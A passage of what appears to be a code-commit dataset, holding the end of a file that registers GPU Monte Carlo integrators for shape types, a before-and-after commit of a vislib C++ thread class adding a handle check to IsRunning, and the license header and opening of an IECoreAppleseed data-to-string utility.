export_IntegratorHPMCMonoGPU< ShapeSpheropolyhedron<8> >(\"IntegratorHPMCMonoGPUSpheropolyhedron8\");\n export_IntegratorHPMCMonoGPU< ShapeSpheropolyhedron<16> >(\"IntegratorHPMCMonoGPUSpheropolyhedron16\");\n export_IntegratorHPMCMonoGPU< ShapeSpheropolyhedron<32> >(\"IntegratorHPMCMonoGPUSpheropolyhedron32\");\n export_IntegratorHPMCMonoGPU< ShapeSpheropolyhedron<64> >(\"IntegratorHPMCMonoGPUSpheropolyhedron64\");\n export_IntegratorHPMCMonoGPU< ShapeSpheropolyhedron<128> >(\"IntegratorHPMCMonoGPUSpheropolyhedron128\");\n export_IntegratorHPMCMonoGPU< ShapeEllipsoid >(\"IntegratorHPMCMonoGPUEllipsoid\");\n export_IntegratorHPMCMonoGPU< ShapeSpheropolygon >(\"IntegratorHPMCMonoGPUSpheropolygon\");\n export_IntegratorHPMCMonoGPU< ShapeFacetedSphere >(\"IntegratorHPMCMonoGPUFacetedSphere\");\n #ifdef ENABLE_SPHINX_GPU\n export_IntegratorHPMCMonoGPU< ShapeSphinx >(\"IntegratorHPMCMonoGPUSphinx\");\n #endif\n\n export_IntegratorHPMCMonoImplicitGPU< ShapeSphere >(\"IntegratorHPMCMonoImplicitGPUSphere\");\n export_IntegratorHPMCMonoImplicitGPU< ShapeUnion<ShapeSphere> >(\"IntegratorHPMCMonoImplicitGPUSphereUnion\");\n export_IntegratorHPMCMonoImplicitGPU< ShapeConvexPolygon >(\"IntegratorHPMCMonoImplicitGPUConvexPolygon\");\n export_IntegratorHPMCMonoImplicitGPU< ShapeSimplePolygon >(\"IntegratorHPMCMonoImplicitGPUSimplePolygon\");\n export_IntegratorHPMCMonoImplicitGPU< ShapePolyhedron >(\"IntegratorHPMCMonoImplicitGPUPolyhedron\");\n export_IntegratorHPMCMonoImplicitGPU< ShapeConvexPolyhedron<8> >(\"IntegratorHPMCMonoImplicitGPUConvexPolyhedron8\");\n export_IntegratorHPMCMonoImplicitGPU< ShapeConvexPolyhedron<16> >(\"IntegratorHPMCMonoImplicitGPUConvexPolyhedron16\");\n export_IntegratorHPMCMonoImplicitGPU< ShapeConvexPolyhedron<32> >(\"IntegratorHPMCMonoImplicitGPUConvexPolyhedron32\");\n export_IntegratorHPMCMonoImplicitGPU< ShapeConvexPolyhedron<64> >(\"IntegratorHPMCMonoImplicitGPUConvexPolyhedron64\");\n export_IntegratorHPMCMonoImplicitGPU< ShapeConvexPolyhedron<128> >(\"IntegratorHPMCMonoImplicitGPUConvexPolyhedron128\");\n export_IntegratorHPMCMonoImplicitGPU< ShapeSpheropolyhedron<8> >(\"IntegratorHPMCMonoImplicitGPUSpheropolyhedron8\");\n export_IntegratorHPMCMonoImplicitGPU< ShapeSpheropolyhedron<16> >(\"IntegratorHPMCMonoImplicitGPUSpheropolyhedron16\");\n export_IntegratorHPMCMonoImplicitGPU< ShapeSpheropolyhedron<32> >(\"IntegratorHPMCMonoImplicitGPUSpheropolyhedron32\");\n export_IntegratorHPMCMonoImplicitGPU< ShapeSpheropolyhedron<64> >(\"IntegratorHPMCMonoImplicitGPUSpheropolyhedron64\");\n export_IntegratorHPMCMonoImplicitGPU< ShapeSpheropolyhedron<128> >(\"IntegratorHPMCMonoImplicitGPUSpheropolyhedron128\");\n export_IntegratorHPMCMonoImplicitGPU< ShapeEllipsoid>(\"IntegratorHPMCMonoImplicitGPUEllipsoid\");\n export_IntegratorHPMCMonoImplicitGPU< ShapeSpheropolygon>(\"IntegratorHPMCMonoImplicitGPUSpheropolygon\");\n export_IntegratorHPMCMonoImplicitGPU< ShapeFacetedSphere>(\"IntegratorHPMCMonoImplicitGPUFacetedSphere\");\n #ifdef ENABLE_SPHINX_GPU\n export_IntegratorHPMCMonoImplicitGPU< ShapeSphinx >(\"IntegratorHPMCMonoImplicitGPUSphinx\");\n #endif\n\n #endif\n }\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\r\n * Thread.cpp 15.08.2006 (mueller)\r\n *\r\n * Copyright (C) 2006 by Universitaet Stuttgart (VIS). Alle Rechte vorbehalten.\r\n *\/\r\n\r\n#include \"vislib\/Thread.h\"\r\n\r\n#ifndef _WIN32\r\n#include <unistd.h>\r\n#endif \/* !_WIN32 *\/\r\n\r\n#include \"vislib\/assert.h\"\r\n#include \"vislib\/error.h\"\r\n#include \"vislib\/IllegalParamException.h\"\r\n#include \"vislib\/IllegalStateException.h\"\r\n#include \"vislib\/SystemException.h\"\r\n#include \"vislib\/Trace.h\"\r\n#include \"vislib\/UnsupportedOperationException.h\"\r\n\r\n#include \"DynamicFunctionPointer.h\"\r\n\r\n#include <cstdio>\r\n#include <iostream>\r\n\r\n#ifndef _WIN32\r\n\/**\r\n * Return code that marks a thread as still running. Make sure that the value \r\n * is the same as on Windows.\r\n *\/\r\n#define STILL_ACTIVE (259)\r\n#endif \/* !_WIN32 *\/\r\n\r\n\r\n\/*\r\n * vislib::sys::Thread::Sleep\r\n *\/\r\nvoid vislib::sys::Thread::Sleep(const DWORD millis) {\r\n#ifdef _WIN32\r\n ::Sleep(millis);\r\n#else \/* _WIN32 *\/\r\n if (millis >= 1000) {\r\n \/* At least one second to sleep. Use ::sleep() for full seconds. *\/\r\n ::sleep(millis \/ 1000);\r\n }\r\n\r\n ::usleep((millis % 1000) * 1000);\r\n#endif \/* _WIN32 *\/\r\n}\r\n\r\n\r\n\/*\r\n * vislib::sys::Thread::Reschedule\r\n *\/\r\nvoid vislib::sys::Thread::Reschedule(void) {\r\n#ifdef _WIN32\r\n#if (_WIN32_WINNT >= 0x0400)\r\n ::SwitchToThread();\r\n#else\r\n DynamicFunctionPointer<BOOL (*)(void)> stt(\"kernel32\", \"SwitchToThread\");\r\n if (stt.IsValid()) {\r\n stt();\r\n } else {\r\n ::Sleep(0);\r\n }\r\n#endif\r\n#else \/* _WIN32 *\/\r\n if (::sched_yield() != 0) {\r\n throw SystemException(__FILE__, __LINE__);\r\n }\r\n#endif \/* _WIN32 *\/\r\n}\r\n\r\n\r\n\/*\r\n * vislib::sys::Thread::Thread\r\n *\/\r\nvislib::sys::Thread::Thread(Runnable *runnable) \r\n : id(0), runnable(runnable), runnableFunc(NULL) {\r\n#ifdef _WIN32\r\n this->handle = NULL;\r\n\r\n#else \/* _WIN32 *\/\r\n ::pthread_attr_init(&this->attribs);\r\n ::pthread_attr_setscope(&this->attribs, PTHREAD_SCOPE_SYSTEM);\r\n ::pthread_attr_setdetachstate(&this->attribs, PTHREAD_CREATE_JOINABLE);\r\n\r\n this->exitCode = 0;\r\n\r\n#endif \/* _WIN32 *\/\r\n\r\n this->threadFuncParam.thread = this;\r\n this->threadFuncParam.userData = NULL;\r\n}\r\n\r\n\r\n\/*\r\n * vislib::sys::Thread::Thread\r\n *\/\r\nvislib::sys::Thread::Thread(Runnable::Function runnableFunc) \r\n : id(0), runnable(NULL), runnableFunc(runnableFunc) {\r\n#ifdef _WIN32\r\n this->handle = NULL;\r\n\r\n#else \/* _WIN32 *\/\r\n ::pthread_attr_init(&this->attribs);\r\n ::pthread_attr_setscope(&this->attribs, PTHREAD_SCOPE_SYSTEM);\r\n ::pthread_attr_setdetachstate(&this->attribs, PTHREAD_CREATE_JOINABLE);\r\n\r\n this->exitCode = 0;\r\n\r\n#endif \/* _WIN32 *\/\r\n\r\n this->threadFuncParam.thread = this;\r\n this->threadFuncParam.userData = NULL;\r\n}\r\n\r\n\r\n\/*\r\n * vislib::sys::Thread::~Thread\r\n *\/\r\nvislib::sys::Thread::~Thread(void) {\r\n#ifdef _WIN32\r\n if (this->handle != NULL) {\r\n ::CloseHandle(this->handle);\r\n }\r\n\r\n#else \/* _WIIN32 *\/\r\n \/\/ TODO: Dirty hack, don't know whether this is always working.\r\n if (this->id != 0) {\r\n ::pthread_detach(this->id);\r\n ::pthread_attr_destroy(&this->attribs);\r\n }\r\n\r\n#endif \/* _WIN32 *\/\r\n}\r\n\r\n\r\n\/*\r\n * vislib::sys::Thread::GetExitCode\r\n *\/\r\nDWORD vislib::sys::Thread::GetExitCode(void) const {\r\n#ifdef _WIN32\r\n DWORD retval = 0;\r\n if (::GetExitCodeThread(this->handle, &retval) == FALSE) {\r\n throw SystemException(__FILE__, __LINE__);\r\n }\r\n\r\n return retval;\r\n\r\n#else \/* _WIN32 *\/\r\n return this->exitCode;\r\n#endif \/* _WIN32 *\/\r\n}\r\n\r\n\r\n\/*\r\n * vislib::sys::Thread::IsRunning\r\n *\/\r\nbool vislib::sys::Thread::IsRunning(void) const {\r\n try {\r\n return (this->GetExitCode() == STILL_ACTIVE);\r\n } catch (SystemException) {\r\n return false;\r\n }\r\n}\r\n\r\n\r\n\/*\r\n * vislib::sys::Thread::Join\r\n *\/\r\nvoid vislib::sys::Thread::Join(void) {\r\n#ifdef _WIN32\r\n if (this->handle != NULL) {\r\n if (::WaitForSingleObject(this->handle, INFINITE) == WAIT_FAILED) {\r\n throw SystemException(__FILE__, __LINE__);\r\n }\r\n }\r\n\r\n#else \/* _WIN32 *\/\r\n if (this->id != 0) {\r\n if (::pthread_join(this->id, NULL) != 0) {\r\n throw SystemException(__FILE__, __LINE__);\r\n }\r\n }\r\n\r\n#endif \/* _WIN32 *\/\r\n}\r\n\r\n\r\n\/*\r\n * vislib::sys::Thread::Start\r\n *\/\r\nbool vislib::sys::Thread::Start(void *userData) {\r\n if (this->IsRunning()) {\r\n \/*\r\n * The thread must not be started twice at the same time as this would\r\n * leave unclosed handles.\r\n *\/\r\n return false;\r\n }\r\n\r\n \/* Set the user data. *\/\r\n this->threadFuncParam.userData = userData;\r\n\r\n#ifdef _WIN32\r\n \/* Close possible old handle. *\/\r\n if (this->handle != NULL) {\r\n ::CloseHandle(this->handle);\r\n }\r\n\r\n if ((this->handle = ::CreateThread(NULL, 0, Thread::ThreadFunc, \r\n &this->threadFuncParam, 0, &this->id)) != NULL) {\r\n return true;\r\n\r\n } else {\r\n VLTRACE(Trace::LEVEL_VL_ERROR, \"CreateThread() failed with error %d.\\n\", \r\n ::GetLastError());\r\n throw SystemException(__FILE__, __LINE__);\r\n }\r\n\r\n#else \/* _WIN32 *\/\r\n if (::pthread_create(&this->id, &this->attribs, Thread::ThreadFunc, \r\n static_cast<void *>(&this->threadFuncParam)) == 0) {\r\n this->exitCode = STILL_ACTIVE; \/\/ Mark thread as running.\r\n return true;\r\n\r\n } else {\r\n VLTRACE(Trace::LEVEL_VL_ERROR, \"pthread_create() failed with error %d.\\n\", \r\n ::GetLastError());\r\n throw SystemException(__FILE__, __LINE__);\r\n }\r\n#endif \/* _WIN32 *\/\r\n}\r\n\r\n\r\n\/*\r\n * vislib::sys::Thread::Terminate\r\n *\/\r\nbool vislib::sys::Thread::Terminate(const bool forceTerminate, \r\n const int exitCode) {\r\n ASSERT(exitCode != STILL_ACTIVE); \/\/ User should never set this.\r\n\r\n if (forceTerminate) {\r\n \/* Force immediate termination of the thread. *\/\r\n\r\n#ifdef _WIN32\r\n if (::TerminateThread(this->handle, exitCode) == FALSE) {\r\n VLTRACE(Trace::LEVEL_VL_ERROR, \"TerminateThread() failed with error \"\r\n \"%d.\\n\", ::GetLastError());\r\n throw SystemException(__FILE__, __LINE__);\r\n }\r\n\r\n return true;\r\n\r\n#else \/* _WIN32 *\/\r\n this->exitCode = exitCode;\r\n\r\n if (::pthread_cancel(this->id) != 0) {\r\n VLTRACE(Trace::LEVEL_VL_ERROR, \"pthread_cancel() failed with error \"\r\n \"%d.\\n\", ::GetLastError());\r\n throw SystemException(__FILE__, __LINE__);\r\n }\r\n\r\n return true;\r\n#endif \/* _WIN32 *\/\r\n\r\n } else {\r\n return this->TryTerminate(true);\r\n } \/* end if (forceTerminate) *\/\r\n}\r\n\r\n\r\n\/*\r\n * vislib::sys::Thread::TryTerminate\r\n *\/\r\nbool vislib::sys::Thread::TryTerminate(const bool doWait) {\r\n \r\n if (this->runnable == NULL) {\r\n throw IllegalStateException(\"TryTerminate can only be used, if the \"\r\n \"thread is using a Runnable.\", __FILE__, __LINE__);\r\n }\r\n ASSERT(this->runnable != NULL); \r\n\r\n if (this->runnable->Terminate()) {\r\n \/*\r\n * Wait for thread to finish, if Runnable acknowledged and waiting was\r\n * requested.\r\n *\/\r\n if (doWait) {\r\n this->Join();\r\n } \r\n \r\n return true;\r\n\r\n } else {\r\n \/* Runnable did not acknowledge. *\/\r\n return false;\r\n }\r\n}\r\n\r\n\r\n#ifndef _WIN32\r\n\/*\r\n * vislib::sys::Thread::CleanupFunc\r\n *\/\r\nvoid vislib::sys::Thread::CleanupFunc(void *param) {\r\n ASSERT(param != NULL);\r\n\r\n Thread *t = static_cast<Thread *>(param);\r\n\r\n \/* \r\n * In case the thread has still an exit code of STILL_ACTIVE, set a new one\r\n * to mark the thread as finished.\r\n *\/\r\n if (t->exitCode == STILL_ACTIVE) {\r\n VLTRACE(Trace::LEVEL_VL_WARN, \"CleanupFunc called with exit code \"\r\n \"STILL_ACTIVE\");\r\n t->exitCode = 0;\r\n }\r\n}\r\n#endif \/* !_WIN32 *\/\r\n\r\n\r\n\/*\r\n * vislib::sys::Thread::ThreadFunc\r\n *\/\r\n#ifdef _WIN32\r\nDWORD WINAPI vislib::sys::Thread::ThreadFunc(void *param) {\r\n#else \/* _WIN32 *\/\r\nvoid *vislib::sys::Thread::ThreadFunc(void *param) {\r\n#endif \/* _WIN32 *\/\r\n ASSERT(param != NULL);\r\n\r\n int retval = 0;\r\n ThreadFuncParam *tfp = static_cast<ThreadFuncParam *>(param);\r\n Thread *t = tfp->thread;\r\n ASSERT(t != NULL);\r\n\r\n#ifndef _WIN32\r\n pthread_cleanup_push(Thread::CleanupFunc, t);\r\n#endif \/* !_WIN32 *\/\r\n\r\n if (t->runnable != NULL) {\r\n retval = t->runnable->Run(tfp->userData);\r\n } else {\r\n ASSERT(t->runnableFunc != NULL);\r\n retval = t->runnableFunc(tfp->userData);\r\n }\r\n ASSERT(retval != STILL_ACTIVE); \/\/ Thread should never use STILL_ACTIVE!\r\n\r\n#ifndef _WIN32 \r\n t->exitCode = retval;\r\n pthread_cleanup_pop(1);\r\n#endif \/* !_WIN32 *\/\r\n\r\n VLTRACE(Trace::LEVEL_VL_INFO, \"Thread [%u] has exited with code %d (0x%x).\\n\",\r\n t->id, retval, retval);\r\n\r\n#ifdef _WIN32\r\n return static_cast<DWORD>(retval);\r\n#else \/* _WIN32 *\/\r\n return reinterpret_cast<void *>(retval);\r\n#endif \/* _WIN32 *\/\r\n}\r\n\r\n\r\n\/*\r\n * vislib::sys::Thread::Thread\r\n *\/\r\nvislib::sys::Thread::Thread(const Thread& rhs) {\r\n throw UnsupportedOperationException(\"vislib::sys::Thread::Thread\",\r\n __FILE__, __LINE__);\r\n}\r\n\r\n\r\n\/*\r\n * vislib::sys::Thread::operator =\r\n *\/\r\nvislib::sys::Thread& vislib::sys::Thread::operator =(const Thread& rhs) {\r\n if (this != &rhs) {\r\n throw IllegalParamException(\"rhs_\", __FILE__, __LINE__);\r\n }\r\n\r\n return *this;\r\n}\r\n<commit_msg>Added an additional test to Thread::IsRunning to fix a weird behavior.<commit_after>\/*\r\n * Thread.cpp 15.08.2006 (mueller)\r\n *\r\n * Copyright (C) 2006 by Universitaet Stuttgart (VIS). Alle Rechte vorbehalten.\r\n *\/\r\n\r\n#include \"vislib\/Thread.h\"\r\n\r\n#ifndef _WIN32\r\n#include <unistd.h>\r\n#endif \/* !_WIN32 *\/\r\n\r\n#include \"vislib\/assert.h\"\r\n#include \"vislib\/error.h\"\r\n#include \"vislib\/IllegalParamException.h\"\r\n#include \"vislib\/IllegalStateException.h\"\r\n#include \"vislib\/SystemException.h\"\r\n#include \"vislib\/Trace.h\"\r\n#include \"vislib\/UnsupportedOperationException.h\"\r\n\r\n#include \"DynamicFunctionPointer.h\"\r\n\r\n#include <cstdio>\r\n#include <iostream>\r\n\r\n#ifndef _WIN32\r\n\/**\r\n * Return code that marks a thread as still running. Make sure that the value \r\n * is the same as on Windows.\r\n *\/\r\n#define STILL_ACTIVE (259)\r\n#endif \/* !_WIN32 *\/\r\n\r\n\r\n\/*\r\n * vislib::sys::Thread::Sleep\r\n *\/\r\nvoid vislib::sys::Thread::Sleep(const DWORD millis) {\r\n#ifdef _WIN32\r\n ::Sleep(millis);\r\n#else \/* _WIN32 *\/\r\n if (millis >= 1000) {\r\n \/* At least one second to sleep. Use ::sleep() for full seconds. *\/\r\n ::sleep(millis \/ 1000);\r\n }\r\n\r\n ::usleep((millis % 1000) * 1000);\r\n#endif \/* _WIN32 *\/\r\n}\r\n\r\n\r\n\/*\r\n * vislib::sys::Thread::Reschedule\r\n *\/\r\nvoid vislib::sys::Thread::Reschedule(void) {\r\n#ifdef _WIN32\r\n#if (_WIN32_WINNT >= 0x0400)\r\n ::SwitchToThread();\r\n#else\r\n DynamicFunctionPointer<BOOL (*)(void)> stt(\"kernel32\", \"SwitchToThread\");\r\n if (stt.IsValid()) {\r\n stt();\r\n } else {\r\n ::Sleep(0);\r\n }\r\n#endif\r\n#else \/* _WIN32 *\/\r\n if (::sched_yield() != 0) {\r\n throw SystemException(__FILE__, __LINE__);\r\n }\r\n#endif \/* _WIN32 *\/\r\n}\r\n\r\n\r\n\/*\r\n * vislib::sys::Thread::Thread\r\n *\/\r\nvislib::sys::Thread::Thread(Runnable *runnable) \r\n : id(0), runnable(runnable), runnableFunc(NULL) {\r\n#ifdef _WIN32\r\n this->handle = NULL;\r\n\r\n#else \/* _WIN32 *\/\r\n ::pthread_attr_init(&this->attribs);\r\n ::pthread_attr_setscope(&this->attribs, PTHREAD_SCOPE_SYSTEM);\r\n ::pthread_attr_setdetachstate(&this->attribs, PTHREAD_CREATE_JOINABLE);\r\n\r\n this->exitCode = 0;\r\n\r\n#endif \/* _WIN32 *\/\r\n\r\n this->threadFuncParam.thread = this;\r\n this->threadFuncParam.userData = NULL;\r\n}\r\n\r\n\r\n\/*\r\n * vislib::sys::Thread::Thread\r\n *\/\r\nvislib::sys::Thread::Thread(Runnable::Function runnableFunc) \r\n : id(0), runnable(NULL), runnableFunc(runnableFunc) {\r\n#ifdef _WIN32\r\n this->handle = NULL;\r\n\r\n#else \/* _WIN32 *\/\r\n ::pthread_attr_init(&this->attribs);\r\n ::pthread_attr_setscope(&this->attribs, PTHREAD_SCOPE_SYSTEM);\r\n ::pthread_attr_setdetachstate(&this->attribs, PTHREAD_CREATE_JOINABLE);\r\n\r\n this->exitCode = 0;\r\n\r\n#endif \/* _WIN32 *\/\r\n\r\n this->threadFuncParam.thread = this;\r\n this->threadFuncParam.userData = NULL;\r\n}\r\n\r\n\r\n\/*\r\n * vislib::sys::Thread::~Thread\r\n *\/\r\nvislib::sys::Thread::~Thread(void) {\r\n#ifdef _WIN32\r\n if (this->handle != NULL) {\r\n ::CloseHandle(this->handle);\r\n }\r\n\r\n#else \/* _WIIN32 *\/\r\n \/\/ TODO: Dirty hack, don't know whether this is always working.\r\n if (this->id != 0) {\r\n ::pthread_detach(this->id);\r\n ::pthread_attr_destroy(&this->attribs);\r\n }\r\n\r\n#endif \/* _WIN32 *\/\r\n}\r\n\r\n\r\n\/*\r\n * vislib::sys::Thread::GetExitCode\r\n *\/\r\nDWORD vislib::sys::Thread::GetExitCode(void) const {\r\n#ifdef _WIN32\r\n DWORD retval = 0;\r\n if (::GetExitCodeThread(this->handle, &retval) == FALSE) {\r\n throw SystemException(__FILE__, __LINE__);\r\n }\r\n\r\n return retval;\r\n\r\n#else \/* _WIN32 *\/\r\n return this->exitCode;\r\n#endif \/* _WIN32 *\/\r\n}\r\n\r\n\r\n\/*\r\n * vislib::sys::Thread::IsRunning\r\n *\/\r\nbool vislib::sys::Thread::IsRunning(void) const {\r\n try {\r\n return ((this->handle != NULL)\r\n && (this->GetExitCode() == STILL_ACTIVE));\r\n } catch (SystemException) {\r\n return false;\r\n }\r\n}\r\n\r\n\r\n\/*\r\n * vislib::sys::Thread::Join\r\n *\/\r\nvoid vislib::sys::Thread::Join(void) {\r\n#ifdef _WIN32\r\n if (this->handle != NULL) {\r\n if (::WaitForSingleObject(this->handle, INFINITE) == WAIT_FAILED) {\r\n throw SystemException(__FILE__, __LINE__);\r\n }\r\n }\r\n\r\n#else \/* _WIN32 *\/\r\n if (this->id != 0) {\r\n if (::pthread_join(this->id, NULL) != 0) {\r\n throw SystemException(__FILE__, __LINE__);\r\n }\r\n }\r\n\r\n#endif \/* _WIN32 *\/\r\n}\r\n\r\n\r\n\/*\r\n * vislib::sys::Thread::Start\r\n *\/\r\nbool vislib::sys::Thread::Start(void *userData) {\r\n if (this->IsRunning()) {\r\n \/*\r\n * The thread must not be started twice at the same time as this would\r\n * leave unclosed handles.\r\n *\/\r\n return false;\r\n }\r\n\r\n \/* Set the user data. *\/\r\n this->threadFuncParam.userData = userData;\r\n\r\n#ifdef _WIN32\r\n \/* Close possible old handle. *\/\r\n if (this->handle != NULL) {\r\n ::CloseHandle(this->handle);\r\n }\r\n\r\n if ((this->handle = ::CreateThread(NULL, 0, Thread::ThreadFunc, \r\n &this->threadFuncParam, 0, &this->id)) != NULL) {\r\n return true;\r\n\r\n } else {\r\n VLTRACE(Trace::LEVEL_VL_ERROR, \"CreateThread() failed with error %d.\\n\", \r\n ::GetLastError());\r\n throw SystemException(__FILE__, __LINE__);\r\n }\r\n\r\n#else \/* _WIN32 *\/\r\n if (::pthread_create(&this->id, &this->attribs, Thread::ThreadFunc, \r\n static_cast<void *>(&this->threadFuncParam)) == 0) {\r\n this->exitCode = STILL_ACTIVE; \/\/ Mark thread as running.\r\n return true;\r\n\r\n } else {\r\n VLTRACE(Trace::LEVEL_VL_ERROR, \"pthread_create() failed with error %d.\\n\", \r\n ::GetLastError());\r\n throw SystemException(__FILE__, __LINE__);\r\n }\r\n#endif \/* _WIN32 *\/\r\n}\r\n\r\n\r\n\/*\r\n * vislib::sys::Thread::Terminate\r\n *\/\r\nbool vislib::sys::Thread::Terminate(const bool forceTerminate, \r\n const int exitCode) {\r\n ASSERT(exitCode != STILL_ACTIVE); \/\/ User should never set this.\r\n\r\n if (forceTerminate) {\r\n \/* Force immediate termination of the thread. *\/\r\n\r\n#ifdef _WIN32\r\n if (::TerminateThread(this->handle, exitCode) == FALSE) {\r\n VLTRACE(Trace::LEVEL_VL_ERROR, \"TerminateThread() failed with error \"\r\n \"%d.\\n\", ::GetLastError());\r\n throw SystemException(__FILE__, __LINE__);\r\n }\r\n\r\n return true;\r\n\r\n#else \/* _WIN32 *\/\r\n this->exitCode = exitCode;\r\n\r\n if (::pthread_cancel(this->id) != 0) {\r\n VLTRACE(Trace::LEVEL_VL_ERROR, \"pthread_cancel() failed with error \"\r\n \"%d.\\n\", ::GetLastError());\r\n throw SystemException(__FILE__, __LINE__);\r\n }\r\n\r\n return true;\r\n#endif \/* _WIN32 *\/\r\n\r\n } else {\r\n return this->TryTerminate(true);\r\n } \/* end if (forceTerminate) *\/\r\n}\r\n\r\n\r\n\/*\r\n * vislib::sys::Thread::TryTerminate\r\n *\/\r\nbool vislib::sys::Thread::TryTerminate(const bool doWait) {\r\n \r\n if (this->runnable == NULL) {\r\n throw IllegalStateException(\"TryTerminate can only be used, if the \"\r\n \"thread is using a Runnable.\", __FILE__, __LINE__);\r\n }\r\n ASSERT(this->runnable != NULL); \r\n\r\n if (this->runnable->Terminate()) {\r\n \/*\r\n * Wait for thread to finish, if Runnable acknowledged and waiting was\r\n * requested.\r\n *\/\r\n if (doWait) {\r\n this->Join();\r\n } \r\n \r\n return true;\r\n\r\n } else {\r\n \/* Runnable did not acknowledge. *\/\r\n return false;\r\n }\r\n}\r\n\r\n\r\n#ifndef _WIN32\r\n\/*\r\n * vislib::sys::Thread::CleanupFunc\r\n *\/\r\nvoid vislib::sys::Thread::CleanupFunc(void *param) {\r\n ASSERT(param != NULL);\r\n\r\n Thread *t = static_cast<Thread *>(param);\r\n\r\n \/* \r\n * In case the thread has still an exit code of STILL_ACTIVE, set a new one\r\n * to mark the thread as finished.\r\n *\/\r\n if (t->exitCode == STILL_ACTIVE) {\r\n VLTRACE(Trace::LEVEL_VL_WARN, \"CleanupFunc called with exit code \"\r\n \"STILL_ACTIVE\");\r\n t->exitCode = 0;\r\n }\r\n}\r\n#endif \/* !_WIN32 *\/\r\n\r\n\r\n\/*\r\n * vislib::sys::Thread::ThreadFunc\r\n *\/\r\n#ifdef _WIN32\r\nDWORD WINAPI vislib::sys::Thread::ThreadFunc(void *param) {\r\n#else \/* _WIN32 *\/\r\nvoid *vislib::sys::Thread::ThreadFunc(void *param) {\r\n#endif \/* _WIN32 *\/\r\n ASSERT(param != NULL);\r\n\r\n int retval = 0;\r\n ThreadFuncParam *tfp = static_cast<ThreadFuncParam *>(param);\r\n Thread *t = tfp->thread;\r\n ASSERT(t != NULL);\r\n\r\n#ifndef _WIN32\r\n pthread_cleanup_push(Thread::CleanupFunc, t);\r\n#endif \/* !_WIN32 *\/\r\n\r\n if (t->runnable != NULL) {\r\n retval = t->runnable->Run(tfp->userData);\r\n } else {\r\n ASSERT(t->runnableFunc != NULL);\r\n retval = t->runnableFunc(tfp->userData);\r\n }\r\n ASSERT(retval != STILL_ACTIVE); \/\/ Thread should never use STILL_ACTIVE!\r\n\r\n#ifndef _WIN32 \r\n t->exitCode = retval;\r\n pthread_cleanup_pop(1);\r\n#endif \/* !_WIN32 *\/\r\n\r\n VLTRACE(Trace::LEVEL_VL_INFO, \"Thread [%u] has exited with code %d (0x%x).\\n\",\r\n t->id, retval, retval);\r\n\r\n#ifdef _WIN32\r\n return static_cast<DWORD>(retval);\r\n#else \/* _WIN32 *\/\r\n return reinterpret_cast<void *>(retval);\r\n#endif \/* _WIN32 *\/\r\n}\r\n\r\n\r\n\/*\r\n * vislib::sys::Thread::Thread\r\n *\/\r\nvislib::sys::Thread::Thread(const Thread& rhs) {\r\n throw UnsupportedOperationException(\"vislib::sys::Thread::Thread\",\r\n __FILE__, __LINE__);\r\n}\r\n\r\n\r\n\/*\r\n * vislib::sys::Thread::operator =\r\n *\/\r\nvislib::sys::Thread& vislib::sys::Thread::operator =(const Thread& rhs) {\r\n if (this != &rhs) {\r\n throw IllegalParamException(\"rhs_\", __FILE__, __LINE__);\r\n }\r\n\r\n return *this;\r\n}\r\n<|endoftext|>"} {"text":"<commit_before>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ Copyright (c) 2014, Esteban Tovagliari. All rights reserved.\n\/\/\n\/\/ Redistribution and use in source and binary forms, with or without\n\/\/ modification, are permitted provided that the following conditions are\n\/\/ met:\n\/\/\n\/\/ * Redistributions of source code must retain the above copyright\n\/\/ notice, this list of conditions and the following disclaimer.\n\/\/\n\/\/ * Redistributions in binary form must reproduce the above copyright\n\/\/ notice, this list of conditions and the following disclaimer in the\n\/\/ documentation and\/or other materials provided with the distribution.\n\/\/\n\/\/ * Neither the name of Image Engine Design nor the names of any\n\/\/ other contributors to this software may be used to endorse or\n\/\/ promote products derived from this software without specific prior\n\/\/ written permission.\n\/\/\n\/\/ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS\n\/\/ IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,\n\/\/ THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\n\/\/ PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR\n\/\/ CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,\n\/\/ EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n\/\/ PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR\n\/\/ PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF\n\/\/ LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\n\/\/ NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n\/\/ SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include \"boost\/lexical_cast.hpp\"\n\n#include \"renderer\/api\/color.h\"\n\n#include \"IECore\/MessageHandler.h\"\n#include \"IECore\/SimpleTypedData.h\"\n\n#include \"IECoreAppleseed\/private\/AppleseedUtil.h\"\n\nusing namespace IECore;\nusing namespace std;\n\nnamespace asf = foundation;\nnamespace asr = renderer;\n\nstring IECoreAppleseed::dataToString( ConstDataPtr value )\n{\n\tstringstream ss;\n\n\tswitch( value->typeId() )\n\t{\n\t\tcase IntDataTypeId :\n\t\t\t{\n\t\t\t\tint x = static_cast<const IntData*>( value.get() )->readable();\n\t\t\t\tss << x;\n\t\t\t}\n\t\t\tbreak;\n\n\t\tcase FloatDataTypeId :\n\t\t\t{\n\t\t\t\tfloat x = static_cast<const FloatData*>( value.get() )->readable();\n\t\t\t\tss << x;\n\t\t\t}\n\t\t\tbreak;\n\n\t\tcase StringDataTypeId :\n\t\t\t{\n\t\t\t\tconst string &x = static_cast<const 